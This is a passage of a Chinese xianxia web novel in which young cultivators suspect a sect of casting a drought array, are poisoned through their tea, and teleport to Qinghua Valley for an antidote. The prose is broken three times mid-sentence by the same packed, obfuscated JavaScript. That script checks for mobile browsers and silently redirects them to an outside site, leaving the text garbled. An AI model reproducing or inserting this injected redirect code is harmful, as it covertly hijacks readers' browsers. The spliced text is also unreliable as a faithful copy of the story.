承悦一愣,不确定道:“我好像看见了金光,但阵图却没看见。” 纪银灵却道:“她说的是真的,我当时看得清清楚楚,云间阵图金光闪过,转瞬即逝。” 公仪岭问道:“我以为是雨阵成功的时候就会出现的,所以没怎么在意,可是有什么问题吗?” 司月吟斩钉截铁道:“有,就是它压下了雨阵,所以我才想灌注灵力想要抗衡。” 闻言,公仪岭神情微变。的确,仔细想想就觉得司月吟说的不无道理,毕竟他们看了半天,也不认为是布阵位置和阵旗出了问题,如今看来,她的这个想法可能性非常大。 公仪岚沉声道:“也就是说,有一个更厉害的阵法压住了雨阵,所以雨阵才没起作用?” 司月吟缓慢点了头。 司青筠脸上也多了几分异样之色:“师妹,这可不是小事。这普天之下的阵法就没一个跟我们抱元门脱得了干系,你可看清了是什么阵法?” 说起这个,司月吟便有些懊恼了。 她当时全心全意以灵力布阵,拼尽修为去跟那阵法抗衡,本就分身乏术,哪还能仔细辨别天上一闪而过了什么阵法。 冥思苦想半天,司月吟脸色越发白了,低声道:“……当时漫天风沙,我没有看清。” “没事,想不出,就先不想。” 公仪岚看司月吟目前的状况不佳,怕是需要缓缓了,与她宽慰道:“司姑娘,若是后面重新布阵的话还需要你相助,要不你先回去休息,我们和你师兄想想对策?” 司青筠也道:“无妨,师妹。有了这个线索,我们去外面再仔细找找这个阵有没有阵眼,应该就能知道布的什么阵法了,给它破了就好。” 公仪岭忽然开口:“其实,都不必出去查看,就能猜得出来是什么阵了。” 司青筠一顿,问道:“公仪兄有何高见?” 方才公仪岭心中一个激灵,脑中一直缠住的毛线结被解开了一般,如梦方醒。 他凝视着桌子上散落的阵旗,缓缓道了两个字:“旱阵。” 公仪岭能想到这里,还是多亏了司月吟的提示,才让他的脑子转过弯来。司月吟和司青筠出身抱元门,又是长老亲传弟子,修为自是不低,若是寻常天灾,他们两个人合力布下的雨阵又怎么会失败? 公仪岭说完,立刻感觉到空气一滞,面前几个人都沉默着没有说话,于是他不得不再度开口:“我没记错的话,抱元门是有旱阵阵法的吧?” 司青筠面带微笑,凉凉道:“公仪兄,你这是什么意思?” 公仪岭听出他语气不善,这才意识到自己说的话有歧义,马上补充道:“我的意思是,抱元门的古籍内,应该存在这个阵法吧?” 公仪岚淡声道:“司兄这么激动做什么?阿岭也不过是对你们宗门的阵法不了解,这才随口一问罢了。” 司青筠盯着他们两个人,半晌未答,最后还是司月吟见气氛不对,出来打了个圆场,对云灵山两人解释道:“旱阵自然是有的,只不过我听说这个阵法是记载在藏书阁禁书里的,未曾一见。” 纪银灵正色道:“敢问两位,你们宗门内的弟子都没有进过藏书阁禁区里吧?” 司月吟道:“应当没有。” 承悦追问道:“那……外面的人可以偷偷溜进去吗?” 司青筠瞥了一眼他,不快道:“你当我们宗门是那么好进的吗,且不说长老常年在抱元门外布下强力结界,抱元门内每扇门上也都有封禁法诀设着,岂是别人想来就来,想走就走的地方?” 公仪岭颇为头疼地按了按太阳穴。诚然,他也知道抱元门平日里都会设下非本门弟子不得进入的封禁,外人想要混进去可以说是天方夜谭。当初自家老爹出言嘲讽了紫阳宗的结界不怎么样,却也没说抱元门的结界半点毛病。如若以阵修为本的抱元门连这个都出了问题,那不是贻笑大方了吗? 公仪岚却和颜悦色地道:“不,司兄是否忘记了一事?抱元门的仙障在仙考大会的时候,是会打开的啊。” 承悦恍然,重重拍了一下公仪岭的腿,道:“对呀!司兄,每年仙考仙山上都会撤掉仙障,没准就是考试前夕有人混了上来!” 听完两个人说的话,司青筠神情似有闪烁,欲言又止。 司月吟疑惑道:“说来仙考也不过是半个月前开始的事情,而这里的旱灾早早就发生了,说明至少仙考前他就已经知道如何布阵了,这又怎么解释?” 承悦道:“没准去年他就已经混上来得知了布局之法,只不过今年才开始而已。” 公仪岭正琢磨着时间线,恍惚间听见侧门被推开,目光移向了那边,正瞧见齐元白开了门,转身朝后面喊了一句:“快快快,先进来。” 可算是来了,公仪岭暗暗松了口气。没一会儿就见齐元白身后的几个人鱼贯而入,每个人身上都是大汗淋漓,抖着衣摆扇风,就连孟妙意也挽起了衣袖,露出了手上的蛇纹刺青。 公仪岭好奇地指了指她的刺青,道:“听说你们养的灵宠就是附身在刺青上的,可是真的?” 孟妙意没想到他会问这个,稍稍愣神,抬手看了看蛇纹才道:“是啊。只不过小青刚忙完,这里又太热了,现在即便是我叫它出来,它也是不愿意出来的。” 公仪岭“哦”了一声,心想:“难怪她之前都锁着袖子,恐怕就是灵宠不喜日光,这才没露出来。” 齐元白凑过来道:“今天人手不够,孟姑娘这才不得已把它召出来捣药呢,阿岭你还真别说,这青蛇捣起药来还真不错诶!早知道我也在太微山养一个替我画符了。” 齐清鸢听到这话翻了个白眼,也不管她说出来的话会不会下了齐元白的面子,大声道:“哥!你要是再想投机取巧,不好好练习画符,我回去就告诉阿爹,让他打烂你的屁股!” 公仪岭听到她这么说,简直要笑死,马上看热闹不嫌事大地拱火道:“清鸢你回太微山以后,一定要记得狠狠告上一状啊——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429894|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐元白咳了两下,哈哈笑了一声:“清鸢,我就是随口一说嘛怎么还当真了,哈哈哈……” 旁边放完行囊的燕家三人听到他们这么闹腾,也走了过来。 最先开口的是燕煦泽。 他面上挂着淡淡的笑容,在听完齐元白和齐清鸢一番对话后,云淡风轻道:“齐兄和令妹的感情真好,令人羡艳。” 齐元白平时很少和燕煦泽说话,对他这话也是颇感意外,挠了挠额角,有些不好意思道:“阿鸢年纪小,说话直白了些,让燕兄见笑了。” “怎么会——”燕煦泽摇了摇头,转而道,“不过,我们还是先说一说正事吧。” 总算把话头扯回正题。燕蓉精神一振,认真问道:“承悦在灵讯石里说雨阵失败了,究竟是怎么回事?” 公仪岭将他们刚才讨论的内容和得出的结论全盘告知了他们,言罢,就瞧见他们脸色也凝重起来,问燕蓉道:“你觉得如何?” 燕蓉沉吟道:“其实,我觉得你一开始说的也有道理。” 公仪岭不解:“一开始说的?” 燕蓉道:“你不是一开始说了吗?这旱阵本就是抱元门的阵法。虽然说承悦所言有理,但是也不能摈弃另一个可能:那就是抱元门里有人偷偷看了禁书,在此地设下阵法。” 公仪岭汗颜,小声说了一句:“其实我第一句当时也没想到那么多……” 一旁站着的燕婉听到这话,温声说道:“诸位,请听我一言。” 燕婉为人低调,性子又柔,她一说话,众人目光也都汇聚了过去。 燕婉道:“燕蓉师妹说的话我是认同的。依照你们所说,这旱阵连月吟姑娘都破不了,反倒元气大伤,说明布阵的人能力定然比她高。即便是外人偷偷溜进去学了,又怎么能布得出如此厉害的阵法呢?” 公仪岭没有说话,心中却已经觉得燕婉说得有理有据,让人信服了。他刚偷偷瞥了一眼其他人的反应,就听到公仪岚已经开口赞同:“不错。” 司青筠笑容渐隐:“阁下的意思,这阵法八成是我们抱元门搞出来的了?” 公仪岚平静道:“仙家百门,虽说也有其他的阵修世家,但你们抱元门称第二,又有谁敢称第一?我们只是就事论事罢了。” 司月吟举手,出声道:“诸位,我虽然是三位长老亲自教导,但年轻资历尚浅,若有其他宗门的高人比我能力强,也未可知。” 公仪岭忍不住道:“司姑娘,话虽如此,但说到底,这样厉害的旱阵是你们抱元门禁书里记载的,现在把其他宗门的人扯进来也不合适吧?” 司月吟顿了顿,面色也更苍白了些,却还是坚持道:“你们又怎么断定其他阵修宗门不知旱阵布法?我宗弟子温善纯良、光明磊落,断然不可能做出这样的事情,你们将这个锅往我们身上扣,可是要讲究真凭实据的!” 公仪岚见她状态不佳,轻轻皱眉,对纪银灵道:“纪姑娘,司姑娘看起来不太好,还是先带她回房休息吧。” “银灵,你放手,莫要拦我——这个事情不说明白我如何能够安心休息?” “月吟姑娘……” 司青筠目光复杂,终于忍不住斥道:“好了师妹,你先养好身子再说,这里我来同他们说就行了!” 司月吟一愣,还想说什么,可司青筠的眼神中却是不容置疑,只得勉强作罢,硬生生把没说完的话咽了下去,由纪银灵将自己扶回房中休息。 27. 城中安灵物 与君论对策(四) 司青筠见她回去,心中稍稍安定。 他转过身来,正色道:“我知道诸位仙僚都是为了尽快解决此事,所以才言辞激动,但这件事情,毕竟还没有盖棺定论,现在也没有其余的证据来证明就是我宗弟子布下的阵法,大家还是稍安勿躁才是。” 众人思虑后,觉得也是。现在他们都暂且是合作关系,也不好就这样开口怀疑抱元门的人。一直自己人怀疑来怀疑去的,岂不是浪费时间,正中那人下怀? 燕渊见众人沉默、没人说话,立即跳出来扬声道:“大家都先别吵了,现在我们自己就吵起来了,后面几日要怎么协作?” 也不知道是不是一脉相承的原因,燕渊此人跟他老爹一样,性子不靠谱,脑子也不怎么灵光,大家一向当他说了跟没说一样,也没人给他捧场接上下一句。就这样尴尬了一会儿,孟正初才突然开口,提了个问题:“司兄,既然布阵少不得需要压阵的阵眼,不知这旱阵阵眼,是否跟那碧灵蓝雪花有关?” 司青筠想了一会,拧眉道:“犹未可知。” 公仪岭却直觉认为碧灵蓝雪花多半就是拿来布阵的引子,否则的话,城中突然出现这么多花,也着实太奇怪了。 他道:“我听说高阶阵修修士布阵,随意使用路边的花草树木皆可为阵,没准这人就是用了花草来做的阵法。” 公仪岭说的这个事情并不算什么秘密,众人显然也都清楚此事,当即附和:“说得没错,我也记得是可以的。” “我记得也是。” 燕煦泽抱胸点头道:“几十年前中原战乱,抱元门的藏元长老曾以草木就地为阵,一举消灭了城中作乱的妖邪,自此闻名于世。司兄既然是长老的直系弟子,想来定然知晓这事。” 司青筠道:“的确。” 公仪岭推测道:“这些花都已经干枯了,但并不影响旱阵还存在着……我想也许,这个阵法还依靠着别的东西支撑着。” 孟正初道:“既然有这种可能,我看不如等明日去城中各处看看是否有阵眼阵旗之类的东西,再想办法将此阵破除,如何?” 众人听他说得有理,皆道:“也好。” 见讨论的也都差不多了,燕蓉起身道:“天色不早,大家也都累了,不如今日就先到这里,大家回去休息休息,养足精神再说。” 一整天神经都紧绷着没有休息,燕蓉说完,公仪岭的倦意也上来了,推着公仪岚和承悦回房:“走吧,走吧,我们先回去休息。” 公仪岚不放心地看了一眼隔壁那扇门,脚下微顿,还是先行进了房间。 说了这么久,公仪岭早已经口干舌燥,只可惜放在门口石桌上的茶水早就被齐元白他们喝光了。当时瞧着那几人一脸脱水的模样,公仪岭也就没好意思去跟他们抢。 这下好不容易回了房内,公仪岭和承悦两个人二话不说直冲茶桌,拎起茶壶就往杯子里注水。 公仪岚刚想说那壶茶凉透了,转念一想渴急了还管什么冷暖,遂也没出言制止,道:“你们喝慢点,小心呛到了。” 承悦接过茶壶又倒了一杯递给公仪岚:“大师兄你一天没喝水,还讲了那么多话,你也来点?” 公仪岚也没客气,接了杯子喝了两口,道:“这茶泡久了,浓了点。” 公仪岭咂了咂嘴,抬手擦去茶渍:“确实浓了点。” “哎,那当然是比不上我们云灵山产的茶了,不过眼下这局势,也只能这样喝了。” 承悦握着杯子坐下,又往自己杯子里倒了些,问道:“师兄,你们当真觉得是抱元门的人布的旱阵吗?” 公仪岭无奈道:“我一开始可没那个意思,他自己想多了,怪谁?” 公仪岚道:“明眼人都能看出来,这事情多半跟抱元门有关,我和阿岭也只是实话实说罢了。” 公仪岭哈哈笑道:“我看,怕是他们不愿意承认自己宗门也会出这种丑闻,这才想撇清关系吧?要真是他们宗门人干的,我倒是想看看他们会不会像当初处罚正卿一般,对门内弟子秉公处理呢……” 公仪岚瞥了他一眼,叹道:“到底事关宗门名誉,司姑娘这样说也是情理之中,没什么问题。” “可要真是那样,抱元门还设加试做什么?自己偷摸着私下解决就是了,三位长老出马,立刻解决,百姓们也不用多遭几日罪了。” 公仪岭想了想,道:“没准三个长老不知道跟自家扯上了关系,只当是一场天灾,才叫我们来解决。要是知道跟自家有关系,会不会让我们来就不好说了……” “阿岭,虽然现在大家都怀疑是这样,但还是不要当着他们面说了,难免大家会有争吵,影响合作。”公仪岚放下茶杯,肃然道。 公仪岭只得应下:“好吧,那便先等明日,我们去城中找找阵眼再说。” 喝了一杯茶,依旧没能完全解渴,他伸手去承悦面前把茶壶拿了回来,刚往杯子里倒完水,就听到门外熟悉的声音大喊道:“不、不、不好了!不好了不好了!” 随后,他们的房门就被无情踹开,力道之大几乎把那木门掀飞。 而始作俑者则是面色惊惶,嘴里还胡乱念叨:“岚、岚兄!不好了!你快去看看——” 见齐元白都这般慌了神,公仪岚立刻意识到事情不妙,面色一变:“齐兄,发生什么事情了?” 公仪岭手上还拿着杯子,瞪大了眼,惊声道:“元白你力气小点啊!把门踹飞了我可赔不起!” “先别管这个了,赔不起我赔!” 齐元白看见他手上还拿着茶杯,顿时脸色一青。公仪岭余光只见一片薄薄的黄纸直冲他飞去,身子下意识朝后仰了仰闪避,下一秒,手中杯子竟被击飞出去,在半空中炸成几片,碎在地上,耳边还伴随着齐元白一声大喝:“先别喝!” 公仪岭心有余悸,僵硬地转了转头看向墙壁,那张黄符竟如利剑一般嵌入了墙中,可见齐元白用了至少五成灵力,威力巨大。 公仪岭震惊道:“不是?元白,你要暗杀我啊?” “到底怎么了?!”公仪岚起身,声音都变了调。 齐元白连喘了两口粗气,急道:“是清鸢和燕婉姑娘,她们俩一开始还好好地在跟我说话,突然间口吐鲜血昏了过去!那样子,活像是中毒了……” “中毒?!” 三人面面相觑,夺门而出。 齐元白的房间在他们对门,几人门一开,就看见里面两个姑娘果真趴在桌上昏死了过去,嘴角还留有黑血,一看便是中毒之状。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429895|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>公仪岚当即去摸了她们的脉搏,沉声道:“还有救,快去叫人!” 公仪岭回头喝道:“元白别傻愣着,快去找孟妙意!青花谷最擅长制毒解毒,先保她们的命再说!” 他声音极大,两间屋内闹的动静不小,很快惊到了其他人。 齐元白前脚刚迈出院子,迎面就撞上了闻声而来的孟家兄妹。 孟妙意纳闷道:“这是怎么了?” 齐元白话还没出口,胸口就感到痛楚,一弯腰,嘴里的黑血顺势就喷在了孟妙意的衣摆上。 公仪岭不知外面发生了什么,急声催促道:“来了就快进来啊!救人要紧!” “齐元白——!” 孟妙意被这阵仗弄得惊呆了,直到低头去看裙边黑血,顿时意识到了不对,心中一紧。旁边孟正初见齐元白摇摇欲坠,伸手将他搀住就往屋内拖,转头就对孟妙意道:“妙意,拿丹药先护住他们心脉!” 孟妙意忙不迭从小包里翻出几颗丹药,跑到茶桌旁取了个茶杯,想要兑水给他们服下:“怎么会这样?好端端地怎么就中毒了?” 公仪岭见她拿茶杯,立刻想起刚才齐元白打碎茶杯的举动,急忙道:“孟姑娘!元白刚才不让我喝茶,莫不是这毒下在水里?” 孟妙意手上动作微顿,垂眸看向茶杯里的茶叶渣,凝眉放下了茶杯:“你们方才都喝过茶了?” 被公仪岭这样一提醒,承悦也顿时觉得自己哪哪都不舒服,期期艾艾道:“回屋以后,我们三个都喝了。” 孟妙意沉默片刻,将手中丹药塞进了几人嘴中,随后费了老大劲,才让他们把丹药咽了下去。 齐元白吃下药丸,面色稍好了一些,但依然昏迷不醒。 她打量着几人的面色,抓起几人的手腕一一把了脉,这才略松了口气:“幸亏发现的及时,再晚点可就糟了。” 公仪岭问道:“他们已经解毒了吗?” 孟正初的手依旧搭着他们的脉,摇头道:“这丹药只能暂时吊住他们的命,延缓毒发的时间,若是三日之内还没有解毒,就当真回天乏术了。” 孟妙意从包中取出一枚细长的银针,问道:“他们三个人是什么时候喝的茶,你们有印象吗?” 公仪岚回忆片刻,凝声道:“没记错的话,应该是刚回院子的时候。当时阿岭问你手上蛇纹灵宠的时候,他们就是在喝茶。” 孟妙意微怔,也想到了这回事,喃喃道:“本来我也有想过要不要喝,中途被问了一下就也忘了。” 公仪岭紧张地看向孟正初:“那孟兄可有喝过吗?” 就算孟妙意没喝过是个值得庆幸的事情,但是光靠她一个人,也照顾不来这么多人啊!眼下公仪岭真真切切希望孟家这位兄长可千万别出事。 结果听完他们的对话,孟正初也是面色凝重:“喝了,但喝的不多。” 说话的这会儿工夫,孟妙意已经拿银针测完了茶渣。她望着发黑的银针,面色沉沉道:“这茶水果然有毒,所有喝过茶水的人都得先将药吃了!” 公仪岭的确觉得胸口闷闷的,喘不过气,甚至还隐隐作痛,听到这话,也是二话不说接过丹药生吞了下去。 与此同时,隔壁房中也开始传来痛苦的叫喊声。 28. 青花解千忧 诡谲疑云现(一) 几人闻声冲出房门,一转角果然看见其他人也都中了招,榻上的人昏迷的昏迷,地上的人打滚的打滚,一个个面容狰狞,口中黑血直流。 公仪岭不敢耽误,取药给他们所有中毒的人服用。 “给我!快给我!” 燕渊一手捂住肚子,着急忙慌接了丹药服下,又是闭着眼休息了很久,这才面色稍缓,坐在地上骂道:“到底是哪个没长眼的东西干的!竟敢谋害我们?” 孟妙意扫了一眼茶桌上的几个杯子,冷声道:“燕少宗主有所不知,茶水有毒,若是三日内寻不到解药,所有人都得暴毙而亡!” 闻言,房中几人皆是勃然色变。 燕煦泽喃喃道:“什么毒如此厉害,竟在我们毫无察觉的时候就中招了……” 公仪岚皱眉道:“每日饮用的茶水都是城主府的侍从送来的,不应该有问题才对。” 承悦狐疑道:“不会是因为我们查到粮仓的问题,才想加害我们吧?” 孟正初道:“城主既然让我们来查,便早知道我们会查到粮仓的事情,如果因为这个要害我们,何必多此一举叫我们来?” 公仪岭也是这样觉得。那城主虽然没那么可信,但既然叫他们布阵,应该也不会弄出下毒的事情,节外生枝。 他道:“我也是如此觉得。何况,能对我们起作用的毒,多半是出自仙门中人之手,定然是因为今日我们在城中布阵,被那人知道了,就想了这个法子暗算我们。” 司青筠又是呕出一口黑血,面色煞白冷汗直流,低声道:“出门前没在院子里设界,是我和月吟疏忽了。” 他主动揽责,众人却是不好意思责怪他。这次布阵本就依仗他们师兄妹两人,设结界的事情其他人也有所疏忽,自然怪不到司青筠的头上,有人带头出声安慰了他几句,这个小错误就这样轻飘飘地揭了过去。 孟妙意叹道:“现在追究是谁的问题还有什么意义?先想想现在该怎么办吧。眼下在这个地方,什么材料都没有,我们也做不出解药来。” 公仪岭满怀期望:“孟姑娘,你当真三天能制出来解药吗?” 孟妙意停顿,继而想起了什么后,凉凉地扫了他一眼:“公仪岭,你乐考的时候不是很嚣张吗?怎得现在有求于我了?” 果然还记着仇呢! 公仪岭心中哀叹一声,颇为不好意思地咳了一声掩饰尴尬,诚恳道:“孟姑娘其实我早就想找机会同你道声歉了,当时乐考是我坏了规矩在先,当真是对不住。只要这次能解毒,日后你有什么需要帮忙的,我肯定义不容辞!” 孟妙意见他服软,勾了勾唇角,满意道:“这就对了。不过你身上这毒,怕是比别人身上难解一些呢……” 公仪岭浑身一紧,正想问问孟妙意这是什么意思,就听旁边孟正初无奈道:“好啦,妙意,公仪兄既然道了歉,我看这事情便算了吧?” 孟正初是知道孟妙意性子的,她会这样说,只是为了给自己出一口气罢了。公仪岭既然道了歉,那她也不会揪着此事不放。 果然,孟妙意听见他开口,也只是轻轻哼了一声,撇过脸不看他们。 孟正初转头道:“公仪兄别误会,这毒难解只是因为来抱元门的时候,我们呢并没有带上制药的器具。依我看,为今之计还是先行离开此地,启程回青花谷中为你们解毒后,再回冀阳。” 公仪岭松了口气,试探道:“那这解药……” 孟妙意悠悠道:“这毒虽然是个厉害的毒,可并不罕见,我记得青花谷中有关于此毒的记载,想要在三日内做出解药不是难事。与其在这里犹豫,倒不如尽快前去,多拖一日,你们的身体状况就越危险。” 承悦看向昏死在榻上的几人:“可是,他们都还昏迷着,怎么去?光靠我们三个人御剑,哪里带的了这么多昏迷的人。” 公仪岭算了算人数,就知道他说的没错。现在还清醒的一共七人,且他们状态也不理想,想要带这么多人过去,无疑是个难事。 七个人一时间都没有说话,一起想着有什么法子。 安静了整整一盏茶的时间,燕蓉才突然道:“我记得他们抱元门不是有个传送阵法吗?能不能用?” 她一提醒,大家立刻就想起来了。各大仙家里,要真比起速度来,谁能比得过阵修的传送阵快? 公仪岭目光移向坐在椅子上的司青筠,道:“方才我们一时都没想起来,怎得司兄也不记得了?” 司青筠看向昏在榻上的司月吟,语气迟疑道:“青花谷与冀阳城相距甚远,这阵法传送的距离越远,所耗的灵力也就越多。现在我与师妹都状态不好,没有她的昆吾轮相助,我只怕不好成功。” 公仪岭道:“眼下那还顾得了那么多,能想到办法就快用吧。成功与否,也总得先试试再说,你说对吧?司兄。” 众人目光齐聚,司青筠迟疑了片刻后,还是点头道:“行吧,若是有什么偏差,再想办法就好了。” 他从椅子上起身,从怀中摸出一只笔,沾了沾桌上的墨汁后,对地上坐着的燕渊礼貌道:“燕少宗主,还请挪个位置出来。” 燕渊翻滚起身,忙道:“好说,好说。”马上让出了中心的一大片空地出来。 司青筠对众人说道:“你们先将旁边屋内昏迷的几人扶过来,等下我启阵后,都跟好,不要落队了。” 公仪岭想起齐元白他们三个还在那屋子里躺着,起身想去把他们带过来,刚没走两步,手腕忽然一紧,有人在身后抓住了他。 回头一看是公仪岚,他才没用力挣开,诧异道:“大哥,怎么了?” 公仪岚缓缓松了手,脸色还是有些凝重,叮嘱道:“你在这里待着,我同承悦去将他们带来。” 公仪岭低头看了一眼司青筠画阵的进度,催促道:“那你们快些。” 底下司青筠每画一笔,手中灵力就随之流出,面色也就苍白一分。公仪岭在心中默默估算了一番冀阳到青花谷的距离,不说相隔万里也有相隔千里,也难怪他会如此了。 门外两人没花多久就将齐元白三人带了回来。此时,司青筠手中的毛笔也圆上了传送阵的最后一笔,掏出了一块灵石,起身对他们几人说道:“把昏迷的人都扶起来,站在阵中间。” 众人应声,一人搀一个沿着阵法边缘绕成了圈,就见司青筠手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429896|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵石一掷,眼前白光一闪,下一刻周围的场景发生翻天覆地的变化…… 的确是翻天覆地的,因为等公仪岭完全看清楚眼前世界后,就是一声惨叫:“啊——” 他竟然在半空中脑袋朝下地急速往下坠! 公仪岭第一反应用手中乱七八糟舞了半天,才发现自己灵力稀微,不管掐什么法诀都没用,吓得他顿时浑身冒冷汗,用尽全力声嘶力竭地喊道:“归云!归云!救我!” 万幸,归云是一把灵剑,听到公仪岭喊了自己的名字,在剑鞘中嗡嗡响了两声,立刻就飞出剑鞘,剑身变大了数倍,在空中飞舞了一圈,接住了下坠的公仪岭。 公仪岭抱着放大版的归云剑身,拍了拍心口安抚了下自己的情绪,心有余悸地往下看了一眼。 这么高的地方摔下去,即便是他们有自身仙障蔽体,估计也得摔成肉泥了。 正想着,耳边遥遥传来公仪岚的声音在喊道:“阿岭,还有其他人,快让归云接住他们!” 公仪岭如梦初醒,慌忙从归云剑上站起身,对它道:“归云,快去找找其他人!” 归云听到了他的指示,当即咻地一下飞出,速度极快。公仪岭迎着大风勉强睁开眼睛,抬头就见上空砸下来一人,还在吱哇乱叫:“啊啊啊啊!!!” 听到这声音,公仪岭大喜,原来是齐元白不知道什么时候竟然醒过来了,想来肯定是丹药起了些作用。 他马上喊道:“元白你别叫了!我让归云接住你!” 齐元白叫声一停,似乎歪了歪头朝下看了一眼,又差点没吓昏过去:“啊啊啊啊!阿岭你让归云接准点,我恐高啊啊啊!!!” 话音刚落,归云就已经将他拦腰接住。齐元白像自挂东南枝一样被挂在归云上,眼睛紧闭丝毫不敢往下看。 公仪岭拎着他的后衣领将他拎起,齐元白这才勉强在归云剑上站定,虚弱开口:“活……活过来了。” 公仪岭哪有时间应他的话,双目死死扫着四周,御剑又是凌空接了三个人,才朝公仪岚那边喊了一声:“大哥!我这里五个人!” 说实话,归云也是第一次载了这么多人,自己本就虚弱着,公仪岭很是担忧它能不能撑住,只能勉力用那点灵力维持。然而,这点灵力也顶不了什么用,归云还是如同承载不了他们的重量一般,越降越低。 燕蓉:“你确定归云撑得住吗?” 燕煦泽:“我看着好像有点悬。” 孟正初刚对着灵讯石不知道讲了什么,转而对归云鼓励道:“没事,下面就是青花谷了,只要归云撑过这阵子就好了。” 另一边,公仪岚和承悦好不容易捞齐了其他人,十几个人挤着三把剑晃晃悠悠就往地下降去。公仪岭本以为这下应该能够平稳落地了,哪知眼看着快落地了,归云却是终于坚持不住熄了火,剑身顷刻间缩了回去,重新缩回剑鞘。 五人在空中停滞了片刻,下一秒又是齐齐落下。 “不是,说撑不住就撑不住啊——” 公仪岭还想用点灵力控制归云,可感到毒性蔓延却是一点都使不上劲,在空中绝望回了一句:“我哪知道这毒这么厉害啊——” 29. 青花解千忧 诡谲疑云现(二) 他本以为大哥和承悦也会跟他一样掉下来,可打眼望去,却见两把剑上站着的九个人好奇地探头往下看,一点都没有要掉下来的趋势——公仪岭这才想起来大哥喝的茶可比他少多了,而承悦那边只站着四个人,也是绰绰有余。 好在归云只是在最后一段距离支撑不住,五个人翻滚着砸到地上,全靠周身仙障挡了一下,这才没有摔胳膊断腿。 孟正初趴在地上,拍掉了手上的草,庆幸道:“还好谷里面到处都是草,摔得不疼。” 公仪岭几乎是吃了一嘴草,费劲起身后呸了两声吐掉了嘴里的杂草,听到孟正初的话四下望了望。 他从未来过青花谷之中,此前听闻青花谷四季如春,温暖湿润,最适合植株生长,今日一见,谷内果真是绿意盎然,与冀阳相比,完全是另一番勃勃生机的景象。 在心里默默感慨了一番,公仪岭就看见面前过来了两个人,正好奇地打量他们。 他抬头看了一眼那两个青年身上挂着的银饰,立即就确定了这肯定是青花谷宗门里的弟子。 毕竟是在人家的地盘,公仪岭觉得还是和善为好,立即打了个哈哈,礼貌道:“两位仙僚好啊……” 为首那位青色衣服的仙僚听到他打招呼,却道:“这位兄台,你们掉下来压坏了这么多草药,可也该看看怎么赔?” “什么?什么?” 公仪岭大惊,低头满地找了半天,找到了刚才被他当杂草吐掉的草药,怀疑道,“这个是草药?” 那青衣仙僚笑道:“是不是草药,你云灵山的不知道,我们还不知道吗?” 旁边孟正初似是看不下去了,急忙出声道:“好了哥,你就别吓他了,我们出了点意外才会掉下来的……” 听到这称呼,这青衣仙僚的身份明朗,自是青花谷的那位少宗主孟翰言了。公仪岭想起孟正初在剑上的时候拿着灵讯石,想必是在那时候就联系上了。 公仪岚他们也是平稳落了地,收了佩剑就朝他们走过来。公仪岭一回头,见大哥看似平稳,实则面色也比他好不到哪里去,颇为担忧。 回到自己家地盘后,孟妙意明显放松不少,上前几步对孟翰言道:“大哥,除了我以外,大家都中了毒,先将他们带回宗门里再说吧。” 一个时辰后,青花谷中。 虽然早就听闻这里的风俗与他们大相径庭,但公仪岭沿着青石板路一路前行,举目望去都是层层叠叠的寨子,进了宗门便是依山傍水建造的木质吊楼,绿水环绕,花木繁盛,依旧少不得感慨一句民俗特色。 等听完第五十二声鸟啼后,一行人便抵达了安排好的屋子。 一进门,公仪岭就闻到了一股异香,这异香混着松木和花草的气息,闻起来竟是神清气爽,公仪岭不由多吸了几口气,随后循着气味看见两侧架子上摆着的五颜六色的瓶瓶罐罐,迫不及待地问道:“这些都是什么?是香料吗?” 公仪岚瞅了半天,也猜测道:“我看着像中药?” 领着他们前来的仙侍含笑解释道:“不是,是毒物。” “……” 公仪岭被这位仙侍笑得心里直发毛,他刚说完,公仪岭马上往后退开数丈,惊道:“你们怎么把毒物都放房间里的?这气味不会也有毒吧!” 仙侍道:“只要诸位仙僚不触碰里面的东西,自然无碍。”说完,又交代了几句让他们好好休息,便离开了。 一路上,原先昏迷的几人也都陆陆续续清醒过来,随着中毒时间变长,公仪岭也开始有了咳血的症状。 等那位仙侍离开后,三个人往桌边坐下,公仪岭又是咳了一口黑血,想要运气调息,却依旧是灵力稀微,没有一点好转。 承悦看着剑鞘里纹丝不动,看上去像是瘫痪了的归云,皱眉道:“算了吧师兄,还是先不要运气了,没准毒性发散的更快了,还是歇着吧。” 公仪岚道:“阿岭,先别急,等解毒了再试试也不迟。” 公仪岭郁闷不已,好不容易关键时候御剑一次,结果还摔了下来,说出去被云灵山的其他弟子们知道,没准顷刻间“二师兄御剑救人反摔了个狗啃泥”的话题就会传遍整个宗门,成了师弟们练剑闲暇之余的笑料了。 公仪岚给他倒了杯清水,说道:“多喝水吧,孟姑娘不是说多喝水好得快吗?” 他接了水杯仰头喝尽,忧愁道:“希望这里的水没问题。” 